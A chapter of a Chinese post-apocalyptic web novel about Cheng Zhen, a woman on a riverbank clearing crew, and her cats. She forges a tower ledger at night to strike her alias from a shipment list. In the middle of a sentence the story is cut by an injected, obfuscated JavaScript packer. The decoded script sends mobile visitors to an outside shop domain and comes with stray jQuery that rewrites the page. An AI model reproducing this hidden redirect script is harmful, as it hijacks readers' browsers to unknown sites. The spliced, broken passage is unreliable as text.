“三道横杠的都往这边站。”
喇叭把这句话来回放了三遍，放得沙哑。程甄站在清场队的尾巴上，手里攥着刚领的长钩子和一只空筐，脚底下是昨夜冲上来的湿沙，沙里混着碎笼条、断绳头和几颗被人踩进泥里的灰白料。她没往那边站，她那块火烙“临”字的临时牌上光秃秃的，一道杠也没有。
被叫出来的有十几个人，站成歪歪的一列，多半是瘦的、病的，还有一个女人抱着个裹在布里的小孩。管事的人拿着本子挨个念名字，念到一个画一笔，念完把人往坝子另一头带。
清场的活儿是一把长钩子、半筐石灰、一只柳条筐，把滩上那些东西收进筐抬到河湾拐角倒进陷坑，坑里撒石灰盖土。管事的人只说了一句，活着的往水里推，别往回拉，谁拉谁负责。
潮水退下去半里地，那些东西就摊在滩上，有的脸朝下埋进沙里，有的半个身子还泡着水。太阳升起来以后它们多半不动，只有几只还在翻身，胳膊撑起来又落下去，像没睡醒。推着筐走了两趟，程甄才明白这活儿真正的行当不在收尸。
两个人蹲在一具东西的脑袋边上，一个拿小铁钩从脑壳后面往外掏，掏出来往腰上的布袋里扔，另一个抬头冲她摆了摆手，意思是别看。死透的能取，泡软的得离远点，这规矩她比谁都熟，前几天在闸口她就是照这个过的。
“收不够三筐要扣口粮。”旁边一个穿胶鞋的老头跟她说，“管委会的人讲了，滩上的东西不许烧，烧了没料。”
程甄的筐底蹭过一片湿沙，脚边那具东西的手指突然动了一下。她退开半步，把钩子横过来，还没来得及喊出声，前头一个半大的孩子先叫了出来。
那孩子站在下坡水里，脚踝让一只手攥住了。他摔坐下去，那具东西从水里拱出半个身子，一只手扒着他的小腿往上爬，嘴里嗡了一声，嗡得不高，可离得近的人都听见了。孩子身后的两个人往后退，退得比谁都快，水里的东西顺着声音又抬了一次头。
程甄没退。她把长钩子伸出去，钩尖勾进那东西的领口，整个人后仰着用体重拖，拖到斜角一脚踩上它的肩，第二下砸在脑壳上。砸了两下，那只手才从孩子脚踝上松开，孩子连滚带爬上了坡，脚踝上五道白印子，皮没破。
胶鞋老头走过来看一眼那道印子，从她筐里抽出钩子，把弯掉的钩尖在石头上敲直了递回去。
球球不知道什么时候从筐底钻出来，蹲在那孩子手边，用脑袋一下一下撞他的手背。孩子先是抖，抖了一会儿伸手去摸它的耳朵，摸了两下慢慢顺过气来，手背上一道划子让球球舔了两口，血珠不再往外冒。
上工册摆在一张矮凳上，登记的人不抬头，只把册子推过来让她自己写。程甄把“陈小满”三个字写上，又写了一个“到”，写完想了两息，把最后一笔拖得很长，拖得歪出去，看着像谁随手划的。前几天在镇上那个院里，她靠一手干净的字坐进了账房，眼下在这个滩上，一手干净的字只会让人记住她。
崽崽睡在筐里。她把筐往柴垛边一放，它就在筐底摊成一团，翻个身把肚皮朝天，呼噜声隔着柳条缝往外漏。芝麻正相反，扒在筐沿上朝滩上哈了一路的气，尾巴炸得比身子粗，后来干脆把头埋进球球背上不看了。
收工时她顺口问了一句初八的事，管事的人拿手背蹭了蹭鼻子，说初八那天全河滩统一验，笼子先前头过一遍秤，验上的当天上塔。
“上塔上得好。”旁边一个人接话，“一只换一头活猪。”
程甄把筐子放回工具堆，没回河滩外圈那个窝，转身往塔底座那边的白板房走。手里那块临时牌让汗浸得发黑，清场队的两顿粥在锅里，她不急着去排。
收货棚在板房最靠边的一间，门口一张长桌，桌上一杆秤、一叠条子、一只搁笔的小瓦碟。桌后坐着个老先生，头发白了一大半，看东西把脸凑到跟前，鼻梁几乎贴着纸面，一支笔在手里转来转去，隔一会儿拿笔杆在纸角敲一敲才落笔。
“收货？什么货。”他把脸凑过来，看的不是她的脸。
“三只猫，初八那批的，前头挂了号。”她把临时牌搁在桌上，又把周哥那块火烙“收”字木牌压在上头，“我替北边一位东家送，路上折了两只，剩三只。”
老先生把两块牌子摸过去，用手指蹭了蹭烙痕，蹭的动作跟收猫的人一个样。他没看她的脸，从底下抽出一张条子，用笔杆在角上敲了两下才落笔，写完递过来，“初八早上清点，笼子自己带，验过了当场交割。”
条子上的字歪歪扭扭，她的名字写在后头，名字后头画了一道杠。
“一道杠？”
“一杠是待验，三杠是七天粮。”老先生的眼睛没离开纸面，“你这批是新登的，先一杠。”
程甄把条子折起来，没有马上走。桌上摊着三本册子，最上面那本翻开着，页头写着两个字，料册。她低头看过去，看见两行。
入：灰料二十七。
出：深色大料一枚。
她的目光在那两行字上停了一息，挪开，手底下的动作没停。二十七颗喂进去，出一颗。那颗石头她见过，鸽子蛋大，深色，沉得压手，还发烫，乖乖闻一下就弓背退了三步。
“先生，上塔的猫干什么使。”她问得很随意，随意得像在问明天几点开工。
老先生把料册合上，往旁边一推。“喂料。”
“喂什么料。”
“能喂的那些。”他抬眼的时候脸正对着她，眼睛却没落到她身上，“你问这个干什么，你的猫还没验呢。”
“就是问问。上塔上得好，一只换一头猪。”
“换一头猪的是亮货。”老先生重新拿起笔，笔尖在纸上敲了一下，“你这批里要是有亮的，我这儿直接给你划到另册上，省得你初八排队。”
程甄没接这句。她伸手把桌上那叠条子挪了挪，让底下几张露出来，露出前面一页对了一半的账，两栏数字明显对不上，左边比右边多出三。她用手指点了点那两栏，声音放低：“先生，这边多记了三只，底下那栏日期写岔了一天。”
老先生的笔停了。他把脸凑下去，来回数了两遍，拿笔把三改成零，又在日期上补了一笔，补完垫着笔杆在纸上砸了两下，像是气自己。他这回抬头看她，眼睛里有点活气：“你认字？”
“铺子里抄过账。”
“行。”他把条子又抽回去，重新写了一张递给她，“初八早上，你早点来。”
走出棚子十几步，程甄才把一口气吐匀。条子上写着她那个假名字，一杠，初八验货，验上当场交割。她来这一趟就是为了要这张纸，有纸的活儿比没纸的活儿好说话，可她刚才看见的那两行字比纸重要得多。
窝在柴垛底下，两块棚布撑出半个遮头的地方。秀云蹲在灶石边上烤干饼，豆豆抱着球球坐在棚布里，小舟在削一根竹签，崽崽睡在秀云的腿上，长毛上还带着沙。
程甄蹲下去掰了一半饼塞进嘴里，嚼着嚼着把话说了。“我夜里出去一趟。”
秀云手上的饼没停，抬眼看她。
“收发房那边有几本册子，我的名字在里头。”她把手指在泥地上划了划，“三道杠。”
秀云把饼从火上端下来，声音压得很低：“三道杠？”
“清点队给我画上去的，画的时候用的就是验货棚那支笔。”她把剩下半张饼塞进嘴里，咽下去，“不改，初八那批货里就有我。”
秀云没接话，隔了一会儿把手在围裙上擦了两下，从灶石边摸出一把烧着的苇根递过去。
“我带着汤圆、乖乖、芝麻，崽崽和球球给你留着，豆豆认球球。”程甄把帆布包翻过来抖了抖泥，“天亮了我要没回来，你带着他们往滩外走，别进镇子，往南那道高架桥底下有个板房，板房里有个五十来岁的女的，姓宋，你说陈小满三个字，她知道路。”
汤圆在棚布边一直蹲着，这时候跳下来绕着她的腿转了半圈，尾巴竖得很直。乖乖从布带缝里拱出脑袋，眼睛亮亮地看她。芝麻把一只爪子搭在筐沿上，尾巴一甩一甩，一副压根没打算睡觉的样子。
板房区从塔基底下往外铺开，一溜五间，中间一条走道，走道口的马灯底下坐着个打盹的看守。程甄没走道，贴着后头那排空油桶往前摸。
汤圆第一次停是在油桶堆的后半段。它蹲下去，把前爪换了两次，尾巴尖一动不动。程甄把手按在地上跟着停住，等了两息，两个换班的人从油桶内侧走过去，脚底下拖着一根铁尺，铁尺刮地的声音一下一下，从她面前过去了。
第二次停是她已经摸到账房门口的时候。汤圆贴着墙根蹲下，蹲得比头一回更死，连耳朵都往后压平了。程甄往后退一步，退进墙根那十几口空缸后头缩成团。有个人提着马灯从板房另一头拐过来，走到门口站住，伸手推了推门。
门没锁。那人往里头看了两眼，没进去，反手把门带上门框，走了。
数着脚步走远，数到二十几下程甄才把手从缸沿上松开。她抬手摸了摸汤圆的头顶，这只银白的猫把脸转到一边，一副不领情的做派，尾巴尖却在她手腕上拍了一下。
账房里一张长桌，桌上摊着四本册子，三本翻着。桌角一只小瓦碟，碟里搁着支笔，笔尖上的墨还没干透。她站在桌边没动，先看册子的脊。
脊上写着字，分别是粮册、料册、货册，最底下那本没写字，包着深色皮纸，最厚。
货册翻到末页是新登的一批，十几个名字，后头都跟着杠，有的三道，有的两道。陈小满在倒数第三行，名字后头三道横杠，横杠画得又急又潦草，起笔的地方挑了一个小钩，跟验货棚木牌上那三道是同一个手。
册
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17959802|214323||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
子翻回去找前几天交割的记录，翻了两页看见一例，名字让一笔斜线划掉，收笔很利落，旁边三个字，已交割，页脚那栏合计上抹过一道，改成了小一号的。写法看明白了，她也明白这写法为什么不会被人翻出来，划销是账房每天都在做的事，谁都不知道划掉的是谁家的粮。
碟里那支笔被她抽出来，用袖口把笔尖上的墨刮掉一层，在纸上试了一笔。笔锋软，写出来是账房那种带棱的楷，跟她平时的字不同，照册子上的字调了两笔就顺了。
芝麻在这时候从窗台跳下来，尾巴扫过桌上那只小瓦碟，碟子滑出去半寸，蹭着桌面响了一声。程甄一把按住碟子，屋里静了一息，外头没有动静。
她提笔把陈小满那一行划掉，一笔斜线从名字前头拉到名字后头，收笔的时候手腕往下压，压出账房里那种利落的角。旁边三个字写得慢，已交割。写完翻到页脚，把那一栏的合计从十七改成十六，又在旁边一个空格里补了一笔，写的是转塔册。
退开半步看看这一页，划销、三个字、合计减一、去处写明，账是平的。谁来翻这本册子，都只会以为清点队昨夜登完就把这个人跟那批货一块交割上塔了。
最底下那本□□纸的册子她也没放过，翻开是目录页一样的写法，一列一列写着往上送的东西，头一列是料，第二列笼子，第三列猫，第四列是她不认识的几个字，第五列写着经手。
一行一行往下看，看到倒数第二行停住了。
那一行上是两个字。程甄。
后头画着四道横杠，四道比货册上那三道描得更深，像是同一个位置描过两遍。再往后一小格，五个字：账册一本，随货。
她把手按在纸上，按了两息。这个名字在这座城里她没对人说过一次，跟红袖箍说自己叫陈小满，跟老胡说自己是陈小满，跟宋亚芬也说自己叫陈小满。
眼下这两个字在塔上的册子里，四道杠，随货。
外头走道上有人说话了，声音不高，两个人，一个说初八那批笼子不够得从镇上再收两车，另一个说管事的催得紧。脚步声往门这边过来。
汤圆在桌下蹲住，这一回它没抬头，整只猫压成一片，耳朵往后贴着，尾巴尖贴住前爪。程甄跟着蹲下，退到墙边那只装册子的高柜后头，背贴着冰凉的柜板，把笔插回碟子，再把碟子挪回原位。
门被推开，进来的人走到桌边翻了几下最上头那本册子，纸页响得很快。其中一个骂了一句，说这本上怎么少了一个，另一个说交割单上对得上就行，天亮再核。两个人又说了一阵，一个说三只亮货里两只还没影，另一个说那就在滩上一只一只试，试出来的都算。说完出去，把门带上。
蹲到外头的脚步听不见，程甄才慢慢直起腰。她把货册那一页按平，把□□纸册子送回原处，从桌上那叠空白纸里抽出最底下的一张，把《送到》册上那一行整行抄了下来，抄得又小又密，抄完折成拇指大的一块。
芝麻从门缝底下挤出去，在走道上跑了几步，撞翻一只搁在地上的碗，碗底滚出去老远，响了一路。账房门外立刻有人喝了一声，脚步往那头去了。
带着两只猫从门缝里出去，往油桶堆那边的豁口走，出板房区的时候她顺手从桌边那只铁盒里抓了四颗灰白的料，塞进布带缝里。乖乖用爪子按了按，按进去，一声没出。
第二天清点队在河滩上念了一回册子。念到中间，举册子的人翻了两页，笔尖在纸上停了一下，跟着往下念。念完的名字出来站成一列，被带到塔基底下，一笼一笼往吊篮上抬。
程甄端着清场队发的稀粥站在人堆边上。第一只笼子吊上去的时候，笼上的布让风掀开一角，里头蹲着一只瘦得只剩架子的猫，眼睛半睁着，一条腿搭在另一条腿上，看着跟滩上那些东西没什么两样。
“初八验三只。”旁边有人端着碗说，“昨天夜里又从镇上拉了一车，凑得差不多了。”
程甄喝了一口粥，没应声。
收队的时候人流往价目榜那边挤，她也跟了过去。黑板底下贴着几张纸，画着她那张还在最上头，圆脸粗胳膊，怀里抱着一团东西。她凑近两步，趁后头的人往前涌，用指甲捏住纸上画着脸的那一角往下一扯，撕下拇指大的一块，揉进手心，抬脚走开。
回到柴垛底下，秀云在把晒好的饼码起来，豆豆追着球球在棚布外头绕圈。程甄蹲下去，把手心里那团纸展开，又折起来，塞进布带缝里。乖乖探出脑袋一口叼住，爪子往下按了按，泥地上平平的，什么也看不出来。
程甄坐在地上，摸着布带底下那道硬边。账本还在那儿，贴着肉。
塔下那本货册上，她的名字已经划掉了。塔上那本册子上，她的名字是四道杠，后头跟着账册一本。这几天是她从别人手里借来的，借多少天，得看那本册子什么时候被人翻到。